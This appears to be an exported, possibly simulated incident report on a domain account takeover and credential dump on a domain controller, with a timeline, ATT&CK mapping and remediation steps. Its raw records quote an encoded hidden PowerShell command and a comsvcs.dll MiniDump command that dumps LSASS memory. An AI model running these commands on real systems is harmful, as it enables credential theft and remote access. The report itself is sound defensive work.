# INC-92A667 — Domain account takeover with credential dumping on WIN-DC01

**Severity** Critical · **Risk** 96/100 · **Status** investigating

- Opened: 2026-09-04 14:45:29Z
- Last updated: 2026-09-04 19:15:39Z
- Analyst of record: Analyst
- Exported: 2026-09-12 01:36:04Z by Zain Khan

## Summary

A password spray from 185.100.200.50 (Lahore, PK) preceded a successful interactive logon as jsmith from the same address, 41 minutes after that account authenticated from Chicago. The session then removed the account's second factor, created a Domain Admins member, executed an encoded PowerShell block and dumped LSASS memory to disk.

## Assessment

A domain account has been taken over from an external address and used to establish persistent privileged access. Credential material has been written to disk, so the blast radius extends beyond the compromised account to every credential cached on the domain controller.

### Narrative

The source address failed authentication against 24 distinct accounts over roughly twelve minutes, then authenticated successfully as jsmith. Because that account had authenticated from Chicago 41 minutes earlier, the two logons are geographically irreconcilable. The session removed the account's registered authenticator, which both establishes persistence and denies the legitimate owner a recovery path. It then created svc_helpdesk_tmp and placed it in Domain Admins, giving the intruder an identity that survives a password reset on jsmith. Finally an encoded PowerShell block ran with a hidden window and lsass.exe memory was dumped via comsvcs.dll, indicating the operator intends to harvest additional credentials for lateral movement.

### Scoring rationale

Risk 96. Impossible travel (+22), password spray from the same source (+14), second-factor removal (+18), Domain Admins membership change (+22), encoded interpreter execution (+10), LSASS memory dump (+10). The credential dump is what moves this from a single-account compromise to a domain-level event.

### ATT&CK mapping

- Tactics: Credential Access, Privilege Escalation, Persistence, Execution
- Techniques: T1110.003, T1078.002, T1556, T1098, T1059.001, T1003.001

### Recommendations

- Isolate WIN-DC01 from the network before the dump is exfiltrated
- Treat every credential cached on WIN-DC01 as compromised and force a domain-wide reset
- Delete svc_helpdesk_tmp and audit Domain Admins for other unexpected members
- Reset jsmith, revoke all Kerberos tickets and re-enrol the second factor out of band
- Block 185.100.200.50 at the perimeter and hunt for the same address across all sources
- Rotate the krbtgt account twice to invalidate any forged tickets

## Timeline (5 events)

| # | Time (UTC) | Event | Severity | Principal | Host | Source |
|---|---|---|---|---|---|---|
| 1 | 2026-09-04 14:27:29Z | AUTHENTICATION_SUCCESS | High | jsmith | WIN-DC01 | WIN-DC01 |
| 2 | 2026-09-04 14:30:29Z | MFA_METHOD_REMOVED | High | jsmith | WIN-DC01 | WIN-DC01 |
| 3 | 2026-09-04 14:33:29Z | USER_CREATED | Critical | jsmith | WIN-DC01 | WIN-DC01 |
| 4 | 2026-09-04 14:36:29Z | PROCESS_EXECUTION | High | jsmith | WIN-DC01 | CrowdStrike Falcon |
| 5 | 2026-09-04 14:39:29Z | CREDENTIAL_ACCESS | Critical | jsmith | WIN-DC01 | CrowdStrike Falcon |

### Raw records

1. `2026-09-04 14:27:29Z` Kerberos TGT issued for jsmith from 185.100.200.50 (logon type 10, RDP) — prior successful logon for this account originated in Chicago, USA 41 minutes earlier
   - Source address: `185.100.200.50`
   - Origin: Lahore, Pakistan
2. `2026-09-04 14:30:29Z` Second-factor method 'Authenticator app' removed from account jsmith
   - Source address: `185.100.200.50`
   - Origin: Lahore, Pakistan
3. `2026-09-04 14:33:29Z` Account 'svc_helpdesk_tmp' created by jsmith and added to group 'Domain Admins'
   - Source address: `185.100.200.50`
   - Origin: Lahore, Pakistan
4. `2026-09-04 14:36:29Z` Encoded PowerShell command block executed with hidden window and execution policy bypass
   - Command: `powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA=`
   - Source address: `185.100.200.50`
5. `2026-09-04 14:39:29Z` Process memory of lsass.exe dumped to disk via comsvcs.dll MiniDump
   - Command: `rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 624 C:\ProgramData\ls.dmp full`

## Containment (2)

| Time (UTC) | Action | Target | Outcome | Executed by |
|---|---|---|---|---|
| 2026-09-04 14:34:29Z | DISABLE ACCOUNT | jsmith | SIMULATION_SUCCESS | Analyst |
| 2026-09-04 14:37:29Z | BLOCK IP | 185.100.200.50 | SIMULATION_SUCCESS | Analyst |

> Containment in this build runs in simulation. No production control plane was contacted.

## Case notes (3)

**Zain Khan** · 2026-09-04 14:29:29Z

Approved emergency krbtgt double-rotation. Change window waived under IR policy 4.2.

**Analyst** · 2026-09-04 14:35:29Z

ls.dmp is still present on disk at C:\ProgramData. No outbound transfer of that file observed on the firewall yet, so containment may still be ahead of exfiltration. Prioritising host isolation.

**Analyst** · 2026-09-04 14:41:29Z

Confirmed with the service desk that jsmith was on site in Chicago at the time of the Lahore logon. Impossible travel is genuine, not a VPN artefact.


---

Generated by Aegis Security Operations from stored records. Reference INC-92A667.